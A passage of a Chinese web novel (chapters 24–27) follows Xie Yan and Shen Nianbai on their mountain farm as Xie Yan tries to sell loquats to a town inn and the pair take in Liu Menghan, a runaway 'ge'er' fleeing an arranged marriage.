这倒也是,可这样一来谢言就没了主意,又见沈念白看着他一副欲言又止的样子,“念白,你有话直接就是,我真的想不出主意来了。”
沈念白犹犹豫豫的说道:“谢言哥,我觉得你身上就挺..挺暖的。”
谢言恍然,是啊,他身上常年都烫得跟火炉似的,现在正好用上。
谢言上了床,抱住了沈念白的肩膀,“快靠上来吧。”
沈念白抬头重重的看了他一眼,这才靠在他的身上。
24. 第 24 章
沈念□□神不济很快就睡着了,谢言心里自责又担心,不停的伸手去摸沈念白的额头,温度一直下不去,谢言紧张得一点睡意都没有,抱着沈念白出了满身的汗,衣裳都被汗湿了,紧紧的贴在背上。
谢言打定主意天亮就带他去看大夫,但在天快亮的时候沈念白竟然慢慢的退烧了,在天亮之后已经完全不烧了。
谢言还是不放心的去摸他的额头,手刚刚放上去沈念白就睁开了眼睛。他先是一怔,在看清对谢言担忧的视线喊了一声,“谢言哥。”
整夜的高烧让他的声音有些干哑,听着还有些虚弱。“我去给你拿水。”谢言说着就将沈念白放到了床上,下床去给他倒水。
谢言倒水折返回来时沈念白已经坐起来了,谢言将水递给他,“现在感觉怎么样了?”
沈念白接过水一饮而尽,缓了一会儿才回道:“好多了。”
谢言道:“你今天好好休息,不要去干活了。”
沈念白一边下床一边回他,“嗯,我今天不去地里了。”
谢言看着他犹豫了一下说道:“我今天不去县城了。”
沈念白诧异的看着他,“怎么呢?”
谢言直白的回道:“我不放心你。”
沈念白被他的暖心惹得抿唇笑了一下,随即说道:“谢谢你啊,谢言哥,不过我已经好多了,我今天休息休息肯定就全好了。你答应了王捕头,失约不合适。”
谢言道:“我明天给他送去的时候解释清楚就行了。”
沈念白打开门,瞬间一股清新的空气涌入鼻腔,让人精神为之一振,风吹进屋中,慢慢的吹散的屋内沉闷的气味。
沈念白回头看向谢言,再次重申,“我真的没事了。我去做早饭了。”
沈念白说完就去准备早上要吃的菜了,谢言看着他的背影犹豫了片刻说道:“那我今天还是去县城去送果子,你在家好好照顾自己。”
沈念白回头看向他应了声,“嗯。”
谢言点了头,背着背篓上山去摘果子,黄橙橙的枇杷,红艳艳的荔枝,一串串的挂在枝头,分外诱人,一凑近就能闻到浓浓的香甜的果香。
谢言摘了满满一背篓,刚准备回家的时候就听见沈念白在喊他,“谢言哥,吃饭了。”
谢言高声应道:“来了。”
回到家沈念白帮着谢言把他背上的背篓轻轻的放下来,他看着装得满满的果子好奇的问道:“昨天不是说只提一篮子去吗?”
谢言回道:“给王捕头一篮子,剩下的别有用处。”
沈念白想起来昨天谢言卖的关子,便也没有多问,只点了头,“嗯,快吃饭吧。”
忙活了这么一阵谢言也确实是饿了,坐下就开始吃,沈念白问他,“果子要分出来吗?”
谢言端着回了他,“先把饭吃了在弄。”
沈念白道:“我等会在吃,我先给你分出来,天气热了,早去早回。”
“行。”谢言也没有说什么,便开始说了起来,“荔枝装一篮子,枇杷装两篮子。”
沈念白应了声就去拿篮子来分装,之前沈念白为了省事一次性编了好几个篮子,只用了一次,其他的都是新的,现在正好派上用场。
摘下来的果子都是谢言精心挑选过的,不过要拿去送人,沈念白还是又挑了一遍,把最好的果子装进篮子里。
枇杷皮薄要装得更仔细,连表皮的白霜都要注意不能蹭掉,否则看起来不够漂亮了。
谢言吃完饭沈念白才将将装好一篮子枇杷,“我来吧,你去吃饭。”
沈念白道:“弄完了在吃。”
谢言也没有说什么,两人一起装完了果子,还剩了一半,沈念白问道:“这些剩的怎么办?”
“咱们自己吃呗。”谢言随口回了他,去拿了一个大簸盖将剩下的果子全部倒了出来。圆滚滚的果子在簸盖上滚来滚去,自然就摊好了。
谢言将装好果子的三个篮子放进背篓里,“我走了。”
沈念白问他,“要不要装点果子在路上吃?”
谢言道:“算了,难得拿,回来在吃。”
沈念白点头,“好,早点回来。”
“嗯。”
谢言背着背篓走了,走到池塘边摘了两张荷叶盖在背篓上,将果子遮得严严实实的,这才快步往县城去。
来到县城,就有人与谢言打招呼,“大小伙子又来卖枇杷啊?”
谢言回道:“今天不卖枇杷了。”
“不卖了?”那人明显有些失望,连声音也大了不少,谢言不欲与他多说,点了点头低着头快速的离开了。
谢言在县城里卖了三天枇杷,认识他的不少,一路上好多人都在问他是不是来卖枇杷的,谢言一一解释了,然后加快脚步来到了天悦酒楼门前。
谢言站在天悦酒楼前抬头望着气派恢弘的天悦酒楼,但与气派建筑相反,店里的客人并不多,只有寥寥几个人。
谢言背着背篓第一次走进了天悦酒楼,迎过来的小二看到他的穿着,笑得有些表面,“客官是打尖还是住店?”
谢言道:“我是来送枇杷的。”
“送枇杷?”小二微微皱了皱眉,但很快他就意识到了谢言的身份,“哦,你就是那个卖枇杷的冤大头。”
谢言看着他没有说话,小二又问道:“你给谁送枇杷啊?”
谢言回道:“王捕头。”
听到他的回答小二的眉头皱得更紧了,很显然王捕头并不在这里,也不是这里的常客。
小二问道:“你确定王捕头让你送这里来的?”
谢言点了头,“嗯。”了一声。
王捕头的身份不一样,小二也不敢大意,他犹豫了一下,与谢言说道:“那你先等一会儿,我去问问掌柜的。”
谢言等了一小会儿,小二就回来了,他与谢言说道:“你把枇杷放下吧。”
谢言看着小二说道:“王捕头还有句话让我带给掌柜的。”
小二有有些懵,“什么话?”
谢言抿了抿嘴,看着有些为难,过了一会儿他才说道:“这话我得亲自给掌柜的说。”
小二看着谢言眉头又皱了起来,疑问道:“你到底是不是来送枇杷的?”
谢言将背篓放到地上,解开了盖在上面的荷叶,露出金灿灿的五星大枇杷,谢言道:
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“你可以检查,我也只是听令行事,如果不方便的话,我如实回报王捕头就是。”
这话就把小二架起来了,开店的谁也不会得罪当官的,况且还是这么一件微不足道的小事,小二道:“那你等等,我去跟掌柜的说一声。”
谢言诚恳的说了声,“多谢。”
小二深深的看了他一眼,然后又上楼了。
这次谢言等的时间更短了,没一会儿小二就回来了,“我们掌柜的请你上去。”
“多谢。”谢言将背篓背上,跟着小二上了楼。
上到二楼,走到最里面一间房,房门关着,但从门缝里还透出些许木质香味来,谢言向来闻不来这些高档的东西,他觉得像蚊香的气味一样。
小二敲了门,“掌柜的,他来了。”
“让他进来吧。”
声音听着很年轻,跟夏天新鲜的莲子似的,这倒是跟谢言想的完全不一样。
小二开了门,谢言一眼就看见了坐在小塌上在跟自己下棋的男人,旁边的香炉散出缥缈的白色烟雾。声音没有骗人,他确实很年轻,大概二十多岁,穿了一件天蓝色的长衫,模样很俊俏。
听到声音男人侧头看了过来,在看到谢言的时候微不可见的挑了眉,“说吧,什么话。”
谢言背着背篓走进屋中然后将背篓放到地上,从背篓里拿出一篮子枇杷和一篮子枇杷放在地上,然后又从背篓里提起一篮子枇杷,“这篮子枇杷是要送给王捕头的。”
谢言说完就将枇杷放回了背篓,然后指着地上的两篮子水果,“这一篮子枇杷和一篮子荔枝,是送掌柜的你的。”
掌柜的视线扫过地上的篮子,然后又落到了谢言的脸上,等着谢言的下文。
谢言站在原地,开门见山的说道:“我想与掌柜的做生意。”
话说到这儿掌柜的就明白他的意思了,他笑了笑,说出的话不算好听,“卖不出去的枇杷想卖给我?”
谢言道:“我觉得我的枇杷值十文,吃过的人也赞不绝口。”
掌柜的问他,“那又如何呢?”
谢言道:“我进城的第一天就注意到了天悦酒楼,这三天我在县城走遍了,没有找到比天悦酒楼更大的酒楼。”
掌柜的不置可否,只是看着他等着他的下文,谢言继续说道:“我有好货,掌柜有人脉,我以为我们是天作之合。”
掌柜的又笑了,带着轻蔑,“只有主人才会觉得自家普普通通的东西是好东西。”
谢言不疾不徐,“我用了三天的时间证明,但凡吃过我灵秀山果子的人没有不喜欢的。我以为能做到大多数人喜欢就算是优秀,能做到人人喜欢已经是极品。”
掌柜道:“底层人和上层人的口味是不一样的。”
“一样不一样,掌柜的何不自己试一试?”谢言说这话的时候视线从掌柜的脸上移开了,看向了他的背篓里,而里面有一篮子要送给王捕头的枇杷。
掌柜的一直在看谢言,自然也看到了他的暗示,掌柜的眯起了眼睛,“你在威胁我?”
听到这话谢言都惊了,他诧异的看向了掌柜的,他实在不知道掌柜的怎么会有这种想法。
25. 第 25 章
谢言赶紧解释,“掌柜的,你误会了,我绝对没有这个意思。我只是想说,王捕头吃过我的枇杷也很喜欢,我可以肯定我的枇杷只要打开了销路绝对会大受欢迎的。”
掌柜的看着谢言没有说话,谢言从他的表情看出来今日大概是达不到目的了,于是他便退了一步说道:“不管掌柜的愿不愿与我合作,我都感谢您愿意今天愿意见我,这两篮果子送给您,希望您能喜欢。”
谢言说完就背起了背篓,再一次开了口,“近来农田事忙,我给王捕头送完枇杷就要回去了,若是您有一天想与我合作,遣人到小叶子村往东二十里的荒山中寻我便是。告辞。”
说完谢言朝掌柜的拱了拱手转身就要走,掌柜的却开口喊住了他,“你住在荒山里?”
谢言回身应道:“是,情况有点特殊,我跟我弟弟两个人住在荒山里。不过荒山住人简陋了些,但种出来的果子却是与众不同。”
掌柜的问道:“你叫什么名字?”
谢言这才意识到自己疏忽到连名字也没有说,于是拱手道:“在下谢言。”
掌柜的点了头,“嗯,你先回去吧,你说的我考虑考虑。”
谢言应了声,也不拖泥带水转身就走了。下了楼遇到小二,小二眼里的好奇都快溢出来了,但谢言没有打算满足他的好奇心,只是朝他点了头便径直出了门。
小二看着谢言挺拔的背影越发的好奇了,回身的时候他若有所思的抬头看向了二楼,却惊讶的看到了掌柜的身影,他赶紧收回了视线,忙活去了。
谢言出了天悦酒楼就去给王捕头送枇杷了。到了王捕头所说的地点,谢言敲了门,来开门的是一个老妇人,很瘦弱,脸蜡黄蜡黄的,时不时弯着腰咳嗽,看着就有股病气。谢言猜测应该是王捕头的母亲。
谢言十分礼貌的喊了一声,“老夫人。”
老妇人问道:“你是?”
谢言简单说明来意,“我是来给王捕头送枇杷的。”说着就将手里的篮子提起来展示了。
老妇人看着枇杷和蔼的笑了笑,“他没在家,进来坐吧。”
谢言婉言拒绝了,“多谢您的好意,不过我家里还有事,就不坐了,您能拿得动吗,要不我给您送进去?”
老妇人道:“行。”
谢言提着枇杷进了院子,院子不算大,但种了好些花花草草的,这个时节花红草绿,一派生机盎然。
谢言问道:“将枇杷放哪儿?”
老妇人道:“就放门口就是。”
谢言将枇杷放好,便与老妇人告辞,“老夫人,这枇杷是我自己种的,你要是喜欢,以后我在给您送。”
老妇人听到这话有些惊讶,“这么大的枇杷是你自己种的?”
谢言点了头,“是,我们灵秀山山清水秀,种出来的果子比一般的果子更大更甜。”说完谢言就离开了,老妇人关了门后走到门口坐下,从篮子里拿了一个枇杷剥了。很好剥,皮薄,汁水也很丰盈,皮一撕开就开始淌汁,枇杷的清香味更加浓郁了。
果肉细腻,又香又甜的汁水在口中爆开,老妇人吃得眼睛都亮了,她平生最喜欢吃枇杷,可却从没吃到过这么好吃的枇杷。
老妇人吃完两个枇杷2就迫不及待的换了衣裳,提着篮子出了门,这等美味她得去跟她的老姐妹分享。
从王捕头家里出来过后,谢言想着估计会有很长一段时间不来县城,于是去买了些盐回家。系统商城什么种子都有,所以他连葱姜蒜八角大料辣椒这种调料都是可以自己种的,唯独盐没有办法自己搞定,必须得买。
买了盐谢言身上一文钱都没有了,今年卖蝉蜕的钱已经全部用完了,以往从县城回家谢言总是要买两馒头吃了垫吧垫吧的,但今天他从馒头摊路过,闻着香甜的馒头味,只能咽了咽口水然后加快了脚步。
馒头的香味会飞,谢言已经快跑起来了,可还是能闻到馒头的香味,如影随形。馒头的香味勾着他停下了脚步,他回头看去,熙熙攘攘的人群中馒头摊分外的显眼,他一眼就看到了。
念白做的馒头也很好吃的,回去就可以吃了。谢言这样想着然后毫不犹豫的回头出了县城,县城的人实在太多了,热闹得很,但他还是能听见自己肚子咕咕叫的声音,虽然知道别人可能不会注意他,但谢言还是有些不好意思,快步离开了县城。
出了县城人少了,肚子咕咕叫的声音越发清晰了,谢言咽了咽口水,现在已经是中午了,正是太阳大的时候,路上又没有什么遮挡,谢言很快就出了一身的汗,他抹了一把额头的汗,深吸了一口气又赶起路来。
以往谢言虽然来去匆匆,但心里是有希望的,但今天他却没底了。他还是太高看了自己了,或许这个世界已经有了足以媲美现代的水果技术,也可能水果对人们来说并没有那么喜欢。
心里踌躇,脚步就也快不起来了,阳光像细小的针,刺得皮肤发痛,汗水像暴雨一样在他的脸上流淌,流进眼睛里发痛。
青草拂过脚面,谢言低头看去,路上全是杂草,虽然这几天他天天走,但杂草完全没有受影响,完全将路覆盖了,或者说这里本没有路只不过他一直一厢情愿的把这里当成了路。
谢言看着比小腿还要高的杂草,越发的灰心了,他踩着杂草走了好一会儿,突然一抬头就看见了不远处的小竹屋,深绿的颜色在大山中并不起眼,可却能让人心里泛起温暖的感觉。
就算隔得远,谢言也清晰的知道在竹屋的右后面是牛圈,这个点说不定沈念白正在给牛喂草。鸡圈鸭圈挨着,鸭子放出去了,鸡关着,应该早点把栅栏做起来,让鸡也能出去跑一跑的。兔圈在另一边,此时此刻谢言突然想到或许应该在屋前圈一个院子,让兔子在院子里跑。
乱七八糟的想了一通,不知不觉就走到了家门口,鸡在圈里扑腾的叫着,别有一种热闹的气氛。沈念白正在喂兔子,他从山上割的青草用背篓背回来,现在正把青草从背篓里拿出来往兔圈里扔,听到声音回头,眼睛瞬间就亮了,“谢言哥,你回来了。”
不好的情绪这一刻灰
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飞烟灭,谢言朝他笑了笑,将背篓放了下来,“我饿了,还有饭吗?”
沈念白赶紧把手里的青草扔回了背篓里,“有,我马上给你热。”
谢言道:“嗯。”
沈念白忙不迭的去生火热饭了,谢言走到兔圈前刚才沈念白站的位置,往兔圈里看去,只见兔子们顶着青草伸长脖子去吃别的兔子身上的青草,看起来可爱又滑稽。谢言坏心眼的弯腰将背篓里的青草拿起来特意往兔子头上放,看起来就像是被青草埋起来了一样。
谢言将背篓里的青草全倒了进去,兔子们吃得‘咔哧咔哧’的,听得谢言心情颇为愉悦。
喂完了兔子,谢言准备坐着歇会,走到门前与沈念白闲话,“兔子一顿要吃那么多啊?”
灶前的沈念白回道:“没有,晚上的草我就一起割回来了。”
谢言听罢就赶紧站了起来,沈念白好奇的看着他问道:“去哪儿?”
谢言随口回道:“哦,我身上汗得很,我去河边洗洗。”说完谢言就赶紧去了兔圈。
幸好,还没有吃完。谢言赶紧从兔子身上把青草抱出来,抱着抱着觉得不对劲,仔细一看,草里藏了一只兔子还在不停的吃,它嘴里的那根草一颤一颤的,一截一截的少,很快就吃完了一根,又开始吃下一根,谢言去扯它嘴里的草,“放开。”
兔子的耳朵扇了扇,完全没有把谢言的话听进去,谢言只能将它和青草一起放进了背篓里,正要去捉它进圈的时候就听见沈念白在喊他,“谢言哥,吃饭了。”
谢言饿得前胸贴后背,听到这句话当即就没心思管兔子了,快步走了。
来到屋前坐下,沈念白将饭碗递给他。为了能快点吃饭,就将所有的饭菜是一锅炒起来的,满满当当的一碗,谢言饿狠了,接过来就开始吃,沈念白与他说道:“锅里还有,我去把鸡喂了。”
沈念白忙活去了,谢言将一大锅饭全都吃完了,当即就困起来了,他打了个呵欠,与不知道在哪儿忙的沈念白说了一声,“念白,我睡午觉去了。”
话音一落,就听沈念白问他,“谢言哥,你刚才换下来的衣服呢?”
谢言的衣服样式都是差不多的,刚才他又说他去洗澡,但沈念白在河边没有找到他的衣服,这才来问他。
谢言回道:“哦,还没有换,晚上在洗吧。”
“行。”
谢言推进进屋的时候,又停下来转身看向沈念白,“你也睡会儿午觉吧。”
沈念白回道:“上午睡了一阵,现在一点也不困,不睡了。”
听到他的话,谢言忙问道:“你还在发烧没有?”
沈念白回他,“没有,上午就是有点困,睡了一针就彻底好了,你去睡吧。”
谢言叮嘱道:“你今天别干活了,好好休息。”
“我知道的。”
谢言困得眼睛都快睁不开了,说完这句话进屋躺床上就睡过去了,而沈念白则去菜地里摘晚上要吃的菜。他没想到,这一去还在菜地里捡到一个人。
26. 第 26 章
“谢言哥。”
“谢言哥。”
睡得正香的谢言听到沈念白急切的喊声立马就坐了起来,沈念白很少会这么着急的喊他,上一次还是一条大蟒蛇在鸡圈里偷鸡的时候。
谢言快步出了门,在门口遇到了沈念白,沈念白见了他急急的说道:“谢言哥,菜地里有个人。”
谢言心一惊,还在想是不是天悦酒楼掌柜的找来了,连忙问道:“谁啊?”
沈念白摇头,“不认识,也没有看清脸。”
“过去看看。”
两人急急往菜地而去,远远的就看到有个人倒在地上,谢言瞬间就皱起了眉头,心里涌起一丝失望,这个人绝对不可能是天悦酒楼的老板。
那人倒在一片玉米地里,玉米中间种的是红薯,玉米和红薯都压倒了好几颗。他是仰面倒下的,所以沈念白才说看不清脸。
是个男的,身量跟沈念白差不多,穿着一身青色的衣裳,看面料比谢言他们的好些,露出的脖颈白白的。
谢言蹲下身试探的喊了声,“喂?”
沈念白站在谢言身后,小声的问道:“他还活着吗?”
听到沈念白的话谢言顿了一下,伸出食指在那人的脖颈上摸了一下,温热的。
谢言松了一口气,“还活着。”
听到他的话沈念白也松了口气,“好吓人,那我们现在怎么办?”
谢言看着那人想了想,这地方这么偏僻如果他们不管他,那他肯定活不了了。
“先把他带回去看看是怎么个事吧。”
“好。”
谢言拉起那人的胳膊扛到肩膀上,出乎意料的倒不是很重。
沈念白趁机将压倒的玉米扶了起来,但是玉米杆太脆了,基本上都断了,扶起来也没有用了。便转而将红薯藤给扶起来,红薯藤压断了一些,但是影响不大。
沈念白将断掉的玉米杆和红薯藤拿着追上谢言回了家。
谢言将那人放在床上,他的脸上沾了土,但依然可以看出五官很俊俏。
沈念白给他打了水擦干净脸,白白净净的,看着就跟晒得黑黑的谢言很不一样。谢言猜测道:“这该不会是哪家的小少爷吧?”
沈念白看向了谢言很快又将视线落到了男人的身上,他摇了摇头,“看不出来。”
凭空的猜测没有意义,谢言道:“我去打点水来喂给他。”
“我去吧。”沈念白说着就出了门,谢言看着沈念白的背影,开始在脑中呼叫系统。
‘这人谁啊?’
系统回他,‘非系统来源,无法判定。’
谢言十分诧异,‘还有你不知道的事呢?’
系统没有在说话了,此时沈念白也打水回来了,他坐到床边要给男人喂水,谢言随口说了一句,“我来吧。”
沈念白抬头看向他,但没有说话,看起来似乎很不赞同他的说法,谢言被他看得有些懵,“怎么了?”
沈念白平静的收回了视线,“还是我来吧。”
谢言摸不着头脑,看着沈念白轻手轻脚的样子,心里突然浮起了一个猜想,难不成沈念白认识这个人?
谢言有疑问当场就问出来了,“念白,你是不是认识他啊?”
沈念白喂水的手一顿,然后看向谢言摇头,“不认识。”
谢言不大信,“真的?”
沈念白肯定的回道:“真的,我从来没见过他。”
谢言若有所思的应了一声,“哦。”
喂完了水,那人还没有要醒的迹象,沈念白将碗勺放在一边,起身与谢言说道:“谢言哥,你出来一下。”
看沈念白神神秘秘的样子,谢言心里明白,果然还是认识,说不定这个人就是来找沈念白的。有了这种想法,谢言心里就不大是滋味了,但他什么也没有说,只是跟着沈念白出了门。
来到屋外,沈念白却让谢言有些意外,因为他问的是,“谢言哥,我们就一张床,晚上怎么睡呢?”
谢言顿住了,这什么意思,难道说没床所以沈念白要跟他回去吗?
谢言顿了一会儿后试探的说道:“床挺宽的,睡三个人也睡得下吧。”
听到他的话沈念白微微瞪大了眼睛,不确定的问道:“三..三个人?”
谢言不明白这有什么可惊讶的,“都是男的,一起睡没什么吧。”
沈念白磕磕巴巴的说道:“可是他是哥儿啊,怎么能...”
沈念白的话没有说完,看着谢言有种欲言又止的意味,谢言看得很疑惑,“他是你哥啊?”
沈念白脸上的表情迷惑了一瞬,“他不是我哥,他是哥儿。”
谢言还是不懂,“哥儿是个什么称呼?”
沈念白微微敛眉,“哥儿就是哥儿啊。”
“啊?”谢言彻底懵了,什么叫哥儿就是哥儿?此时系统突然出声解释,‘宿主,这个世界的哥儿就是能生孩子的男人。’
“什么?”谢言震惊了,这个世界这么疯狂?男人还能生孩子?
沈念白见谢言突然一惊一乍的,有些不明所以,“谢言哥,你怎么了?”
谢言还沉浸在男人能生孩子的震惊中,他现在看着沈念白,心里涌起一股奇异的感觉,又想起最开始见到沈念白时他说过,他家人把他许配给了同村的张屠户,当时他还在想这地方男男相恋这么普遍吗?原来是这个世界的组成不一样。
沈念白见谢言直愣愣的盯着自己,心里有些发慌,又喊了一声,“谢言哥。”
听到他略显担忧的话谢言这才回过神来,他突然又意识到了一件事,按照沈念白的说法,哥儿是不能和男人一起睡的,那他们这么多年算怎么回事?
谢言看着沈念白犹豫了好一会儿,他本来想解释的,可实在不知道该怎么解释,于是他决定暂时将此事搁置,等他想好了在跟沈念白解释,于是他接了沈念白最开始的话题说道:“那等他醒了看看他到底是个什么情况,如果他暂时要留宿的话,你们俩就一起睡,我睡地上就成。”
沈念白不赞同,“那怎么行?”
谢言现在心绪有些乱,没有心思跟他多说,只道:“就这样吧。”
沈念白也看出他心情不好,于是也没有在多说,“我在去看看他。”
谢言看着沈念白出声喊住
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了他,“念白。”
沈念白回头看向他,谢言说道:“我去砍竹子回来,在做一张竹床吧。”
沈念白眨了眨眼睛,“他会在这儿住很久吗?”
谢言顿了一会儿回道:“不关他的事,咱们都这么大了,只有一张床也不方便。”
“哦,我明白了。”沈念白明白了谢言的意思,催下眼眸掩住情绪淡淡的应了一声后就快步进屋里去了。
谢言没有耽搁,拿起柴刀就去竹林砍竹子了。
谢言不知道做竹床要用多少竹子就先砍了十根,分两次扛回家。第二次回来刚把竹子扔地上就听见沈念白在喊他,“谢言哥。”
“诶。”谢言擦着脸上的汗一边朝屋中走去,走到门口的时候看到床上的人已经坐起来了。“醒了?”
沈念白起身朝谢言走了过来,与他说道:“他饿了,我去给他做点吃的。”
谢言点了头,沈念白就走了出去。谢言走到屋中坐下,看向男人问道:“你是哪家的,怎么会晕倒在我们的菜地里?”
男人看着谢言诚恳的道谢,“多谢你们救了我。”
男人叫柳梦寒,是因为跟家里闹矛盾才跑出来的,他本来是想去县城的,结果在山里迷了路,又累又饿,就晕倒了。
谢言秉持着多一事不如少一事的理念,也没有问是什么矛盾,只说道:“山路是不好走,不过我去过几次县城,我可以给你指路。”
柳梦寒道:“我从来没有去过县城,不知道去县城能不能找到活干。”
这个问题谢言也回答不了,他随口应道:“只要有一技之长,找活应该不难。”
柳梦寒叹了口气,“就是没有一技之长。”
“这么年轻,现学也没问题的。”谢言不是个话多的,跟陌生人聊天也聊不起来,于是他起身说道,“你好好休息,我去看看饭做好没有。”
柳梦寒道了声谢,谢言点了点头就出了门。
沈念白正在揉面,见谢言出来与他说道:“做饭太慢了,我给他做碗面疙瘩先吃着。”
谢言应了声就坐到了灶前,沈念白好奇的问道:“他是从哪里来的?”
面没有揉好,也不用烧火,谢言只是在灶前坐着,他将柳梦寒的话复述了一遍,“说是从大叶子村来的,跟家里闹矛盾了要去县城里找活干,在山里迷了路。”
沈念白问道:“什么矛盾啊,这么严重?”
谢言刚摇头就听见柳梦寒虚弱的声音响了起来,“他们要我嫁人,我不想嫁就跑出来了。”
听到他的声音谢言和沈念白都看了过去,只见他靠在门上,因为脱力脸色发白。沈念白给他踢了椅子过去,“快坐。”
柳梦寒坐下后与沈念白道了谢,“谢谢。”
沈念白朝他笑笑,“不客气。”
柳梦寒靠在墙上,极目望去,青山绿水,硕果累累,不远处一长串鸭子扭着屁股在田坎上走着。他的眼里浮现出艳羡的神色,他道:“这里真漂亮。”
谢言天天看倒不觉得有什么漂亮的,他道:“村里不都这样吗。”
柳梦寒低声道:“有自己的家真好。”
27. 第 27 章
几人有一搭没一搭的聊了一会儿,沈念白的面疙瘩就做好了,“先吃东西吧。”
柳梦寒接了过去,向沈念白道了声谢,沈念白温和的笑了笑,“吃吧。”
谢言也起了身,与沈念白说道:“我去菜地里拔草了,顺便把牛草割回来。”
沈念白问道:“你去哪里拔草?”
谢言伸手给他指了,“那一块的玉米地吧,我刚才扛竹子路过看到草都长满了。”
沈念白道:“那回来的时候接点丝瓜回来晚上炒。”
“行。”
谢言背上背篓拿着镰刀就出门了,沈念白也开始做竹床了。刚出锅的面疙瘩烫得没办法吃,所以柳梦寒只是端着碗看着沈念白,他好奇的问道:“你们地里种的那个高高的是什么啊?”
“玉米。”沈念白知道他为什么要这么问,因为附近的村庄都没有种玉米的,最开始谢言把种子拿出来跟他说是玉米的时候他也不知道玉米是什么。
“玉米是什么?”果然柳梦寒紧接着就问了起来。
同病相怜让沈念白对柳梦寒完全敞开了心扉,他耐心的解释道:“就是一种吃的,有甜的有糯的,味道很好,产量也高。”
听他这么说柳梦寒越发的好奇了,“还有这种东西呢?我从来都没有看见过。”
沈念白回道:“我之前也没有看见过,应该是这山上才有的吧。”
柳梦寒又问道:“什么时候能吃啊?”
沈念白回道:“嫩玉米下个月就可以吃了。”
柳梦寒继续问道:“你们会拿去卖吗?”
沈念白一边做活一边与他闲聊,“没有,这里之前全都是荒山,是谢言哥一点一点开垦出来的,也就今年地才多了些。”
柳梦寒这才顺势问出了他心里的疑问,“你们怎么会住在荒山里啊?”
沈念白顿了一下,没有将原委说出来,而是打了个马虎,“这事说来就话长了。”
柳梦寒也听出来他不想说便也没有多问了,附和了一句,“我猜也是,这里离村子还挺远的。”说罢就低头开始吃起面疙瘩来,顺势转了话题。
“这面疙瘩真好吃。”
沈念白抬头看了他一眼,笑了一下,“好吃就多吃点,不够的话我再给你做。”
柳梦寒笑道:“谢谢,你人真好。”
谢言背着牛草回来的时候天都快黑了,沈念白已经在做饭了,没有看到柳梦寒,谢言将丝瓜放在旁边的随口问了一句,“柳梦寒呢?”
沈念白示意的朝河边看去,“去河边洗菜了,我让他顺便抓一条鱼回来,今天晚上吃鱼。”
“行。”
说完话谢言就去喂牛了,从背篓里把牛草抱出来的时候谢言突然想起来,有个兔子还在背篓里,不会捂死了吧。
谢言将牛草扔进食槽里就快步去了兔圈,背篓的草没有变,沈念白还没有来喂过兔子,谢言赶紧把草倒出来,只见兔子直挺挺的躺在草中间,肚子圆鼓鼓的。谢言喊了一声,“念白。”
沈念白应了他一声,“诶。”
谢言本来是想沈念白来看的,但转念一想死兔子有什么好看的,于是弯腰将兔子捡了起来,走到门前,“这兔子撑死了。”
沈念白闻言有些惊讶,“撑死了?”
谢言点头,“今天中午我把它放在装草的背篓里忘了拿出来,我刚才想起来了去看,不知道什么时候就撑死了。”
沈念白虽然不明白为什么谢言要把它放在装草的背篓里,但他也没有多问,“死了放久了不行,今天晚上就炒了吧。”
“行,我去处理。”
谢言拿起菜刀拎着兔子就往河边去,远远的就看到柳梦寒在捉鱼,水花溅得老高,看他衣服打湿的情况就知道他捉了好久都没有捉到。
谢言喊了他一声,“诶,你上来吧,我来捉。”
听到他的声音柳梦寒这才看了过来,他有些不好意思,但还是上了岸,因为他确实抓不到。
谢言来到河边,挽起裤子脱了鞋就下水了,他们隔三岔五就要吃鱼,大多时候都是谢言来捉,都捉出经验,走过去看准要捉的鱼快速的伸手就把鱼抓住了。
谢言拿着鱼往岸边走,柳梦寒看到他这么轻易就抓住了,越发的不好意思了,“你好厉害,我捉了好久都没有捉到。”
谢言回道:“熟能生巧而已。”
谢言上了岸,熟练的杀了鱼,清理完内脏,放到了柳梦寒洗好的菜上,“行了,先端回去吧。”
“嗯。”柳梦寒应了一声就端着菜回去了。
天已经彻底黑了,不过今天晚上月光很亮,加上河水反射看得很清楚,加上谢言经常处理这些,手快得很,没一会儿就处理好了,拎着处理好的兔子回了家。
回到家饭已经蒸好了,空气中都是一股浓郁的饭香味。沈念白正在煮鱼,看到谢言回来,问了他道:“煮的麻辣鱼片,马上就好了。兔子还是做成麻辣的吧。”
谢言应声,“行,我切丁。”
柳梦寒眼睛直直的盯着锅里,火光映着能看到锅里一片火红。柳梦寒十分好奇的问道:“这红红的是什么?”
沈念白回他,“是辣椒。”
“这也是山里的独有的吗?”柳梦寒从来没有闻到过这么呛鼻却又鲜香的味道,让人不由自主的吞口水。
沈念白也是这是从谢言那儿知道辣椒这种调味料的,出于意料的让人上瘾,他回道:“应该是吧,我之前也没有见过。”
柳梦寒感叹道:“这座山里的宝贝可真多啊。”
沈念白回道:“应该也不止这座山有,只是其他的荒山没有人去开荒,所以没有人发现。我们之前没有吃的,什么都吃,所以就发现了。”
柳梦寒点头,“也是。”
空气中辛辣的香味越来越浓,慢慢的将米饭的香味都盖过了,柳梦寒没忍住说道:“这味道真的好香,光闻着就留口水了。”
沈念白回道:“辣椒用油炒过确实很香,我第一次吃到的时候都震惊了。”
聊着天时间过的也快,没一会儿饭菜就好了,饭菜上了桌,沈念白去拿碗盛饭,家里从没有来过客人,所以碗筷都只有两副。
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沈念白将自己的碗筷给了柳梦寒,自己拿了个装菜的大碗,又拿了个木勺子。柳梦寒看见了说什么也不肯要沈念白的碗筷,“你们是我的救命恩人,怎么能让你让我呢,我拿勺子。”
沈念白回道:“没事,反正都是一样的用。”
柳梦寒道:“不行的。”
眼见两人争执不下,谢言站了起来,“筷子简单,现削一双就是了。”
沈念白道:“谢言哥,你吃饭我去削。”
“就一会儿功夫的事,你们吃吧。”谢言说着就将自己的筷子递给了沈念白,“吃吧。”
正好今天谢言砍回来的竹子还没有用完,用刀简单的削几下一双筷子就好了。谢言拿着削好的筷子回来时两人还没有开始动筷,谢言知道他们都在等他,“吃饭吧。”
谢言坐下动了筷,沈念白和柳梦寒才跟着动了筷,柳梦寒对辣椒非常好奇,所以一伸手就去夹辣椒了。
沈念白见状劝道:“辣椒不能吃。”
本来柳梦寒就好奇,听到他的话就更好奇了,“不能吃?”
沈念白回想起自己第一次吃辣椒的场景,辣的满屋子找水喝,嘴巴都闭不上了。点着头肯定道:“嗯,很辣,不能吃。”
柳梦寒没有吃过辣椒,自然也就不知道辣是什么感觉,他问道:“不能吃还放在菜里?”
沈念白解释道:“这是当调料用的。”
看着柳梦寒还是很想尝尝的样子,谢言说道:“想吃就吃吧,总要尝尝才知道是什么味道。”
